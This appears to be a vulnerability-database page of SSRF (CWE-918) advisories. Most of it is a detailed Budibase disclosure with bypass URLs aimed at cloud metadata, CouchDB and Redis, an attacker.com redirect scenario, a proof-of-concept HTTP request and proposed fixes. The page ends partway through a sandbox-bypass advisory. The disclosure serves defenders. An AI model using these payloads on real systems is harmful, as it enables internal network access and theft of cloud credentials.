CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4585 vulnerabilities reference this CWE, most recent first.
GHSA-XGMH-F6R2-39XQ
Vulnerability from github – Published: 2024-05-02 18:30 – Updated: 2024-05-02 18:30The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 3.8.0 via the transform() function. This can allow unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-3047"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-02T17:15:22Z",
"severity": "HIGH"
},
"details": "The PDF Invoices \u0026 Packing Slips for WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 3.8.0 via the transform() function. This can allow unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-xgmh-f6r2-39xq",
"modified": "2024-05-02T18:30:53Z",
"published": "2024-05-02T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3047"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3076105"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/18f16148-b4a8-4f89-af0d-c0baba8f9ccf?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XH5J-727M-W6GG
Vulnerability from github – Published: 2026-05-11 16:20 – Updated: 2026-06-08 20:151. Summary
| Field | Value |
|---|---|
| Title | SSRF via trivial .tar.gz substring bypass in Plugin URL upload |
| Product | Budibase (Self-Hosted) |
| Version | ≤ 3.34.11 (latest stable as of 2026-03-30) |
| Component | packages/server/src/api/controllers/plugin/url.ts |
| Vulnerability Type | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs |
| Severity | High (chained) / Medium (standalone) |
| CVSS 3.1 Score (chained) | 7.7 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| CVSS 3.1 Score (standalone) | 5.4 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N |
| Attack Vector | Network |
| Privileges Required | Low (Global Builder role) |
| User Interaction | None |
| Affected Deployments | All Budibase instances with plugin loading enabled (default) |
2. Description
The Plugin URL upload endpoint (POST /api/plugin) validates the submitted URL with a single substring check: url.includes(".tar.gz"). Any URL containing .tar.gz anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to fetchWithBlacklist() with no further validation of host, scheme, or path.
Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the BLACKLIST_IPS bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default node-fetch behavior with redirect: 'follow').
The developer team's own test suite (objectStore.spec.ts:393) tests that downloadTarballDirect passes through fetchWithBlacklist — confirming they're aware of the SSRF risk on this path. The .tar.gz substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is.
3. Root Cause Analysis
3.1 Trivial substring-based URL validation
File: packages/server/src/api/controllers/plugin/url.ts
// Lines 7-19
export async function urlUpload(url: string, name = "", headers = {}) {
if (!url.includes(".tar.gz")) {
// ← ONLY validation: any URL with ".tar.gz" anywhere passes
throw new Error("Plugin must be compressed into a gzipped tarball.")
}
const path = await downloadUnzipTarball(url, name, headers)
// ↑ url is passed directly — no host allowlist, no scheme check, no path normalization
try {
return await getPluginMetadata(path)
} catch (err) {
deleteFolderFileSystem(path)
throw err
}
}
Problem: url.includes(".tar.gz") checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that .tar.gz appears as an actual file extension at the end of the path.
3.2 Bypass examples
| Attack URL | includes(".tar.gz") |
Actual request target |
|---|---|---|
http://169.254.169.254/.tar.gz |
✅ passes | AWS IMDS |
http://127.0.0.1:4005/_session.tar.gz |
✅ passes | CouchDB |
http://10.0.0.1:6379/.tar.gz |
✅ passes | Redis |
http://attacker.com/file.tar.gz?x=http://internal/ |
✅ passes | Redirect to internal |
http://internal-host/.tar.gz#fragment |
✅ passes | Internal service |
3.3 Developer awareness of SSRF risk on this path
File: packages/backend-core/src/objectStore/tests/objectStore.spec.ts
// Line 393
it("uses fetchWithBlacklist in downloadTarballDirect", async () => {
downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp")
// ← team explicitly tests that IMDS is blocked via blacklist
})
The team knows this code path can reach IMDS. They rely on fetchWithBlacklist as the defense — but never tested the .tar.gz substring bypass that trivially routes around it at the URL validation layer.
3.4 Authorization model
| Operation | Endpoint | Required Permission |
|---|---|---|
| Plugin URL upload | POST /api/plugin |
Global Builder |
Key insight: The plugin endpoint is behind globalBuilderRoutes, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances.
4. Impact Analysis
4.1 Confidentiality — High (chained) / Low (standalone)
When chained with [001] (BLACKLIST_IPS bypass):
- AWS/GCP/Azure IMDS (169.254.169.254) — IAM credentials, service account tokens
- CouchDB (127.0.0.1:4005) — application databases, user records
- Redis (127.0.0.1:6379) — session tokens
- Internal network services (172.16.0.0/12, 10.0.0.0/8)
Standalone (with default blacklist active):
- Open redirect chains — if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on node-fetch redirect behavior and whether fetchWithBlacklist re-checks the redirected URL.
4.2 Integrity — None (GET-only path)
The plugin URL upload uses GET-only semantics via fetchWithBlacklist. No write operations to internal services via this path.
4.3 Availability — None
No service disruption.
4.4 Scope Change (chained)
Same as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass.
5. Proof of Concept
Verification status: Code-level confirmed. End-to-end Docker test pending. PoC files are ready:
poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py+docker-compose.yml
5.1 Environment Setup
# poc/004_plugin_url_ssrf/docker-compose.yml
services:
budibase:
image: budibase/budibase:latest
environment:
SELF_HOSTED: "1"
BLACKLIST_IPS: "" # ← enables chained SSRF (001)
JWT_SECRET: "poc_jwt_secret"
BB_ADMIN_USER_EMAIL: "poc@budibase.com"
BB_ADMIN_USER_PASSWORD: "pocPassword123!"
ports: ["10000:10000"]
victim:
image: python:3.11-alpine
command: python -m http.server 8888
cd poc/004_plugin_url_ssrf
docker-compose up -d
python3 poc_004_plugin_url_ssrf.py --target http://localhost:10000
5.2 Step 1 — Bypass the .tar.gz check with a crafted URL
POST /api/plugin HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<builder-session-cookie>
Content-Type: application/json
{
"source": "URL",
"url": "http://victim:8888/.tar.gz",
"name": "poc-test"
}
The url.includes(".tar.gz") check passes because .tar.gz appears in the path. The URL http://victim:8888/.tar.gz is not a valid tarball — but the string check doesn't know that.
5.3 Step 2 — Expected response (SSRF confirmed)
With blacklist active (default config):
{ "message": "Failed to import plugin: URL is blocked or could not be resolved safely." }
With BLACKLIST_IPS="" (chained with 001):
{ "message": "Failed to import plugin: incorrect header check" }
The "incorrect header check" error (zlib decompressor receiving HTTP response headers) proves the request reached victim:8888. The .tar.gz substring check was bypassed, and the HTTP fetch completed.
5.4 Additional bypass payloads tested (code-level only)
| URL | Check bypass | Intended target |
|---|---|---|
http://169.254.169.254/.tar.gz |
✅ | AWS IMDS |
http://127.0.0.1:4005/_session.tar.gz |
✅ | CouchDB |
http://127.0.0.1:6379/.tar.gz |
✅ | Redis |
http://attacker.com/real.tar.gz (redirects to http://10.0.0.1/) |
✅ | Internal via redirect |
6. Attack Scenarios
Scenario A — Chained with [001]: AWS IMDS credential theft
1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001)
2. Builder user sends:
POST /api/plugin { "source": "URL", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz" }
3. Budibase fetches IMDS endpoint → receives IAM credentials JSON
4. zlib decompressor fails on non-gzip content → error response
5. Depending on logging config, credential material may appear in logs or error details
Scenario B — Standalone: Open redirect SSRF (default config)
1. Attacker controls external server: GET /plugin.tar.gz → 302 → http://192.168.1.1/admin
2. Builder user submits: POST /api/plugin { "source": "URL", "url": "http://attacker.com/plugin.tar.gz" }
3. node-fetch follows redirect (default: redirect: 'follow')
4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached
5. Requires verification of redirect handling in fetchWithBlacklist
Scenario C — CouchDB data access (chained)
1. BLACKLIST_IPS="" enables internal access
2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz
3. CouchDB responds with JSON list of databases
4. zlib error confirms HTTP request reached CouchDB
7. Affected Code Paths
POST /api/plugin (Global Builder auth)
│
▼
packages/server/src/api/controllers/plugin/index.ts
│ source === "URL" → urlUpload(url, name, headers)
▼
packages/server/src/api/controllers/plugin/url.ts:8
│ if (!url.includes(".tar.gz")) throw ← ONLY check — trivially bypassed
│ → "http://169.254.169.254/.tar.gz" passes
▼
packages/server/src/utilities/fileSystem/plugins.ts
│ downloadUnzipTarball(url, name, headers)
▼
packages/backend-core/src/objectStore/objectStore.ts:703
│ downloadTarballDirect(url, path, headers)
▼
packages/backend-core/src/objectStore/utils/outboundFetch.ts
│ fetchWithBlacklist(url, options)
│ isBlacklisted(hostname)
│
├─ [default config] → BlockList has 9 private ranges → 169.254.x BLOCKED ✓
│
└─ [BLACKLIST_IPS set, chained with 001] → empty BlockList → 169.254.x REACHABLE ✗
8. Recommended Fixes
Fix 1 (High): Replace substring check with URL parsing and extension validation
// packages/server/src/api/controllers/plugin/url.ts
import { URL } from "url"
export async function urlUpload(url: string, name = "", headers = {}) {
let parsed: URL
try {
parsed = new URL(url)
} catch {
throw new Error("Invalid plugin URL.")
}
// Only allow https:// scheme
if (parsed.protocol !== "https:") {
throw new Error("Plugin URL must use HTTPS.")
}
// Require the path to end with .tar.gz (not just contain it anywhere)
if (!parsed.pathname.endsWith(".tar.gz")) {
throw new Error("Plugin must be compressed into a gzipped tarball (.tar.gz).")
}
const path = await downloadUnzipTarball(url, name, headers)
// ...
}
Fix 2 (High): Re-check blacklist after redirect in fetchWithBlacklist
// packages/backend-core/src/objectStore/utils/outboundFetch.ts
// Current: only checks the original URL before fetch
// Fix: also intercept redirects and re-check each redirect target
const response = await nodeFetch(url, {
...options,
redirect: "manual", // don't auto-follow
})
if (response.status >= 300 && response.status < 400) {
const redirectUrl = response.headers.get("location")
if (redirectUrl) {
const redirectHost = new URL(redirectUrl).hostname
if (await isBlacklisted(redirectHost)) {
throw new Error("URL is blocked or could not be resolved safely.")
}
// recursively fetch (with depth limit)
}
}
Fix 3 (Medium): Add hostname allowlist option for plugin sources
Provide a PLUGIN_ALLOWED_HOSTS variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist.
9. References
- CWE-918: Server-Side Request Forgery (SSRF) — https://cwe.mitre.org/data/definitions/918.html
- CWE-184: Incomplete List of Disallowed Inputs — https://cwe.mitre.org/data/definitions/184.html
- OWASP SSRF Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
- Related finding: [001]
BLACKLIST_IPSbypass —report/raw/001_ssrf_blacklist_bypass.md - Developer SSRF awareness test:
packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.34.11"
},
"package": {
"ecosystem": "npm",
"name": "budibase"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.35.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45061"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T16:20:27Z",
"nvd_published_at": "2026-05-27T18:16:24Z",
"severity": "HIGH"
},
"details": "## 1. Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload |\n| **Product** | Budibase (Self-Hosted) |\n| **Version** | \u2264 3.34.11 (latest stable as of 2026-03-30) |\n| **Component** | `packages/server/src/api/controllers/plugin/url.ts` |\n| **Vulnerability Type** | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs |\n| **Severity** | High (chained) / Medium (standalone) |\n| **CVSS 3.1 Score (chained)** | 7.7 \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` |\n| **CVSS 3.1 Score (standalone)** | 5.4 \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` |\n| **Attack Vector** | Network |\n| **Privileges Required** | Low (Global Builder role) |\n| **User Interaction** | None |\n| **Affected Deployments** | All Budibase instances with plugin loading enabled (default) |\n\n---\n\n## 2. Description\n\nThe Plugin URL upload endpoint (`POST /api/plugin`) validates the submitted URL with a single substring check: `url.includes(\".tar.gz\")`. Any URL containing `.tar.gz` anywhere in the string \u2014 in the path, query string, or fragment \u2014 passes this check. The URL then proceeds directly to `fetchWithBlacklist()` with no further validation of host, scheme, or path.\n\nStandalone, this vulnerability is blocked by Budibase\u0027s default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the `BLACKLIST_IPS` bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default `node-fetch` behavior with `redirect: \u0027follow\u0027`).\n\nThe developer team\u0027s own test suite (`objectStore.spec.ts:393`) tests that `downloadTarballDirect` passes through `fetchWithBlacklist` \u2014 confirming they\u0027re aware of the SSRF risk on this path. The `.tar.gz` substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is.\n\n---\n\n## 3. Root Cause Analysis\n\n### 3.1 Trivial substring-based URL validation\n\n**File**: `packages/server/src/api/controllers/plugin/url.ts`\n\n```typescript\n// Lines 7-19\nexport async function urlUpload(url: string, name = \"\", headers = {}) {\n if (!url.includes(\".tar.gz\")) {\n // \u2190 ONLY validation: any URL with \".tar.gz\" anywhere passes\n throw new Error(\"Plugin must be compressed into a gzipped tarball.\")\n }\n\n const path = await downloadUnzipTarball(url, name, headers)\n // \u2191 url is passed directly \u2014 no host allowlist, no scheme check, no path normalization\n try {\n return await getPluginMetadata(path)\n } catch (err) {\n deleteFolderFileSystem(path)\n throw err\n }\n}\n```\n\n**Problem**: `url.includes(\".tar.gz\")` checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that `.tar.gz` appears as an actual file extension at the end of the path.\n\n### 3.2 Bypass examples\n\n| Attack URL | `includes(\".tar.gz\")` | Actual request target |\n|------------|----------------------|----------------------|\n| `http://169.254.169.254/.tar.gz` | \u2705 passes | AWS IMDS |\n| `http://127.0.0.1:4005/_session.tar.gz` | \u2705 passes | CouchDB |\n| `http://10.0.0.1:6379/.tar.gz` | \u2705 passes | Redis |\n| `http://attacker.com/file.tar.gz?x=http://internal/` | \u2705 passes | Redirect to internal |\n| `http://internal-host/.tar.gz#fragment` | \u2705 passes | Internal service |\n\n### 3.3 Developer awareness of SSRF risk on this path\n\n**File**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts`\n\n```typescript\n// Line 393\nit(\"uses fetchWithBlacklist in downloadTarballDirect\", async () =\u003e {\n downloadTarballDirect(\"http://169.254.169.254/metadata/v1/\", \"tmp\")\n // \u2190 team explicitly tests that IMDS is blocked via blacklist\n})\n```\n\nThe team knows this code path can reach IMDS. They rely on `fetchWithBlacklist` as the defense \u2014 but never tested the `.tar.gz` substring bypass that trivially routes around it at the URL validation layer.\n\n### 3.4 Authorization model\n\n| Operation | Endpoint | Required Permission |\n|-----------|----------|---------------------|\n| Plugin URL upload | `POST /api/plugin` | Global Builder |\n\n**Key insight**: The plugin endpoint is behind `globalBuilderRoutes`, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances.\n\n---\n\n## 4. Impact Analysis\n\n### 4.1 Confidentiality \u2014 High (chained) / Low (standalone)\n\nWhen chained with [001] (`BLACKLIST_IPS` bypass):\n- **AWS/GCP/Azure IMDS** (`169.254.169.254`) \u2014 IAM credentials, service account tokens\n- **CouchDB** (`127.0.0.1:4005`) \u2014 application databases, user records\n- **Redis** (`127.0.0.1:6379`) \u2014 session tokens\n- **Internal network services** (`172.16.0.0/12`, `10.0.0.0/8`)\n\nStandalone (with default blacklist active):\n- **Open redirect chains** \u2014 if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on `node-fetch` redirect behavior and whether `fetchWithBlacklist` re-checks the redirected URL.\n\n### 4.2 Integrity \u2014 None (GET-only path)\n\nThe plugin URL upload uses GET-only semantics via `fetchWithBlacklist`. No write operations to internal services via this path.\n\n### 4.3 Availability \u2014 None\n\nNo service disruption.\n\n### 4.4 Scope Change (chained)\n\nSame as [001]: crosses application \u2192 infrastructure boundary when combined with the blacklist bypass.\n\n---\n\n## 5. Proof of Concept\n\n\u003e **Verification status**: Code-level confirmed. End-to-end Docker test pending.\n\u003e PoC files are ready: `poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py` + `docker-compose.yml`\n\n### 5.1 Environment Setup\n\n```bash\n# poc/004_plugin_url_ssrf/docker-compose.yml\nservices:\n budibase:\n image: budibase/budibase:latest\n environment:\n SELF_HOSTED: \"1\"\n BLACKLIST_IPS: \"\" # \u2190 enables chained SSRF (001)\n JWT_SECRET: \"poc_jwt_secret\"\n BB_ADMIN_USER_EMAIL: \"poc@budibase.com\"\n BB_ADMIN_USER_PASSWORD: \"pocPassword123!\"\n ports: [\"10000:10000\"]\n\n victim:\n image: python:3.11-alpine\n command: python -m http.server 8888\n```\n\n```bash\ncd poc/004_plugin_url_ssrf\ndocker-compose up -d\npython3 poc_004_plugin_url_ssrf.py --target http://localhost:10000\n```\n\n### 5.2 Step 1 \u2014 Bypass the `.tar.gz` check with a crafted URL\n\n```http\nPOST /api/plugin HTTP/1.1\nHost: localhost:10000\nCookie: budibase:auth=\u003cbuilder-session-cookie\u003e\nContent-Type: application/json\n\n{\n \"source\": \"URL\",\n \"url\": \"http://victim:8888/.tar.gz\",\n \"name\": \"poc-test\"\n}\n```\n\nThe `url.includes(\".tar.gz\")` check passes because `.tar.gz` appears in the path. The URL `http://victim:8888/.tar.gz` is not a valid tarball \u2014 but the string check doesn\u0027t know that.\n\n### 5.3 Step 2 \u2014 Expected response (SSRF confirmed)\n\n**With blacklist active (default config):**\n```json\n{ \"message\": \"Failed to import plugin: URL is blocked or could not be resolved safely.\" }\n```\n\n**With `BLACKLIST_IPS=\"\"` (chained with 001):**\n```json\n{ \"message\": \"Failed to import plugin: incorrect header check\" }\n```\n\nThe `\"incorrect header check\"` error (zlib decompressor receiving HTTP response headers) proves the request reached `victim:8888`. The `.tar.gz` substring check was bypassed, and the HTTP fetch completed.\n\n### 5.4 Additional bypass payloads tested (code-level only)\n\n| URL | Check bypass | Intended target |\n|-----|-------------|-----------------|\n| `http://169.254.169.254/.tar.gz` | \u2705 | AWS IMDS |\n| `http://127.0.0.1:4005/_session.tar.gz` | \u2705 | CouchDB |\n| `http://127.0.0.1:6379/.tar.gz` | \u2705 | Redis |\n| `http://attacker.com/real.tar.gz` (redirects to `http://10.0.0.1/`) | \u2705 | Internal via redirect |\n\n---\n\n## 6. Attack Scenarios\n\n### Scenario A \u2014 Chained with [001]: AWS IMDS credential theft\n\n```\n1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001)\n2. Builder user sends:\n POST /api/plugin { \"source\": \"URL\", \"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz\" }\n3. Budibase fetches IMDS endpoint \u2192 receives IAM credentials JSON\n4. zlib decompressor fails on non-gzip content \u2192 error response\n5. Depending on logging config, credential material may appear in logs or error details\n```\n\n### Scenario B \u2014 Standalone: Open redirect SSRF (default config)\n\n```\n1. Attacker controls external server: GET /plugin.tar.gz \u2192 302 \u2192 http://192.168.1.1/admin\n2. Builder user submits: POST /api/plugin { \"source\": \"URL\", \"url\": \"http://attacker.com/plugin.tar.gz\" }\n3. node-fetch follows redirect (default: redirect: \u0027follow\u0027)\n4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached\n5. Requires verification of redirect handling in fetchWithBlacklist\n```\n\n### Scenario C \u2014 CouchDB data access (chained)\n\n```\n1. BLACKLIST_IPS=\"\" enables internal access\n2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz\n3. CouchDB responds with JSON list of databases\n4. zlib error confirms HTTP request reached CouchDB\n```\n\n---\n\n## 7. Affected Code Paths\n\n```\nPOST /api/plugin (Global Builder auth)\n \u2502\n \u25bc\npackages/server/src/api/controllers/plugin/index.ts\n \u2502 source === \"URL\" \u2192 urlUpload(url, name, headers)\n \u25bc\npackages/server/src/api/controllers/plugin/url.ts:8\n \u2502 if (!url.includes(\".tar.gz\")) throw \u2190 ONLY check \u2014 trivially bypassed\n \u2502 \u2192 \"http://169.254.169.254/.tar.gz\" passes\n \u25bc\npackages/server/src/utilities/fileSystem/plugins.ts\n \u2502 downloadUnzipTarball(url, name, headers)\n \u25bc\npackages/backend-core/src/objectStore/objectStore.ts:703\n \u2502 downloadTarballDirect(url, path, headers)\n \u25bc\npackages/backend-core/src/objectStore/utils/outboundFetch.ts\n \u2502 fetchWithBlacklist(url, options)\n \u2502 isBlacklisted(hostname)\n \u2502\n \u251c\u2500 [default config] \u2192 BlockList has 9 private ranges \u2192 169.254.x BLOCKED \u2713\n \u2502\n \u2514\u2500 [BLACKLIST_IPS set, chained with 001] \u2192 empty BlockList \u2192 169.254.x REACHABLE \u2717\n```\n\n---\n\n## 8. Recommended Fixes\n\n### Fix 1 (High): Replace substring check with URL parsing and extension validation\n\n```typescript\n// packages/server/src/api/controllers/plugin/url.ts\n\nimport { URL } from \"url\"\n\nexport async function urlUpload(url: string, name = \"\", headers = {}) {\n let parsed: URL\n try {\n parsed = new URL(url)\n } catch {\n throw new Error(\"Invalid plugin URL.\")\n }\n\n // Only allow https:// scheme\n if (parsed.protocol !== \"https:\") {\n throw new Error(\"Plugin URL must use HTTPS.\")\n }\n\n // Require the path to end with .tar.gz (not just contain it anywhere)\n if (!parsed.pathname.endsWith(\".tar.gz\")) {\n throw new Error(\"Plugin must be compressed into a gzipped tarball (.tar.gz).\")\n }\n\n const path = await downloadUnzipTarball(url, name, headers)\n // ...\n}\n```\n\n### Fix 2 (High): Re-check blacklist after redirect in `fetchWithBlacklist`\n\n```typescript\n// packages/backend-core/src/objectStore/utils/outboundFetch.ts\n\n// Current: only checks the original URL before fetch\n// Fix: also intercept redirects and re-check each redirect target\n\nconst response = await nodeFetch(url, {\n ...options,\n redirect: \"manual\", // don\u0027t auto-follow\n})\n\nif (response.status \u003e= 300 \u0026\u0026 response.status \u003c 400) {\n const redirectUrl = response.headers.get(\"location\")\n if (redirectUrl) {\n const redirectHost = new URL(redirectUrl).hostname\n if (await isBlacklisted(redirectHost)) {\n throw new Error(\"URL is blocked or could not be resolved safely.\")\n }\n // recursively fetch (with depth limit)\n }\n}\n```\n\n### Fix 3 (Medium): Add hostname allowlist option for plugin sources\n\nProvide a `PLUGIN_ALLOWED_HOSTS` variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist.\n\n---\n\n## 9. References\n\n- **CWE-918**: Server-Side Request Forgery (SSRF) \u2014 https://cwe.mitre.org/data/definitions/918.html\n- **CWE-184**: Incomplete List of Disallowed Inputs \u2014 https://cwe.mitre.org/data/definitions/184.html\n- **OWASP SSRF Prevention Cheat Sheet** \u2014 https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html\n- **Related finding**: [001] `BLACKLIST_IPS` bypass \u2014 `report/raw/001_ssrf_blacklist_bypass.md`\n- **Developer SSRF awareness test**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393`",
"id": "GHSA-xh5j-727m-w6gg",
"modified": "2026-06-08T20:15:24Z",
"published": "2026-05-11T16:20:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-xh5j-727m-w6gg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45061"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Budibase vulnerable to SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload (`/api/plugin`)"
}
GHSA-XHJ7-PF22-5X9W
Vulnerability from github – Published: 2023-11-08 00:30 – Updated: 2023-11-15 18:30Local File Inclusion vulnerability in Midori-global Better PDF Exporter for Jira Server and Jira Data Center v.10.3.0 and before allows an attacker to view arbitrary files and cause other impacts via use of crafted image during PDF export.
{
"affected": [],
"aliases": [
"CVE-2023-42361"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-07T22:15:11Z",
"severity": "HIGH"
},
"details": "Local File Inclusion vulnerability in Midori-global Better PDF Exporter for Jira Server and Jira Data Center v.10.3.0 and before allows an attacker to view arbitrary files and cause other impacts via use of crafted image during PDF export.",
"id": "GHSA-xhj7-pf22-5x9w",
"modified": "2023-11-15T18:30:21Z",
"published": "2023-11-08T00:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42361"
},
{
"type": "WEB",
"url": "https://gccybermonks.com/posts/pdfjira"
},
{
"type": "WEB",
"url": "https://marketplace.atlassian.com/apps/5167/better-pdf-exporter-for-jira?tab=versions\u0026hosting=datacenter"
},
{
"type": "WEB",
"url": "https://marketplace.atlassian.com/apps/5167/better-pdf-exporter-for-jira?tab=versions\u0026hosting=server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XHJF-FJP3-34R9
Vulnerability from github – Published: 2023-03-25 21:30 – Updated: 2023-03-31 03:30A vulnerability was found in OTCMS 6.72. It has been classified as critical. Affected is the function UseCurl of the file /admin/info_deal.php of the component URL Parameter Handler. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-224016.
{
"affected": [],
"aliases": [
"CVE-2023-1634"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-25T19:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability was found in OTCMS 6.72. It has been classified as critical. Affected is the function UseCurl of the file /admin/info_deal.php of the component URL Parameter Handler. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-224016.",
"id": "GHSA-xhjf-fjp3-34r9",
"modified": "2023-03-31T03:30:31Z",
"published": "2023-03-25T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1634"
},
{
"type": "WEB",
"url": "https://github.com/BigTiger2020/2023-1/blob/main/ssrf/ssrf.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.224016"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.224016"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XHMJ-RG95-44HV
Vulnerability from github – Published: 2026-04-16 21:50 – Updated: 2026-04-27 16:11Summary
A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)
Details
The vulnerability exists in the sandbox configuration within packages/components/src/utils.ts
Vulnerable Code - Allowed Built-in Modules (Line 56):
export const defaultAllowBuiltInDep = [
'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers',
'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram'
]
SSRF Protection Implementation (Lines 254-261):
// Only axios and node-fetch are wrapped with SSRF protection
secureWrappers['axios'] = secureAxiosWrapper
secureWrappers['node-fetch'] = secureNodeFetch
const defaultNodeVMOptions: any = {
// ...
require: {
builtin: builtinDeps, // <-- http, https, net allowed here
mock: secureWrappers // <-- Only mocks axios, node-fetch
},
// ...
}
Root Cause:
- The secureWrappers object only contains mocked versions of axios and node-fetch that enforce HTTP_DENY_LIST
- The built-in http, https, and net modules are passed directly to the sandbox via builtinDeps without any SSRF protection
- Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls
Affected File: packages/components/src/utils.ts
Related Files:
- packages/components/src/httpSecurity.ts - Contains checkDenyList() function only used by axios/node-fetch wrappers
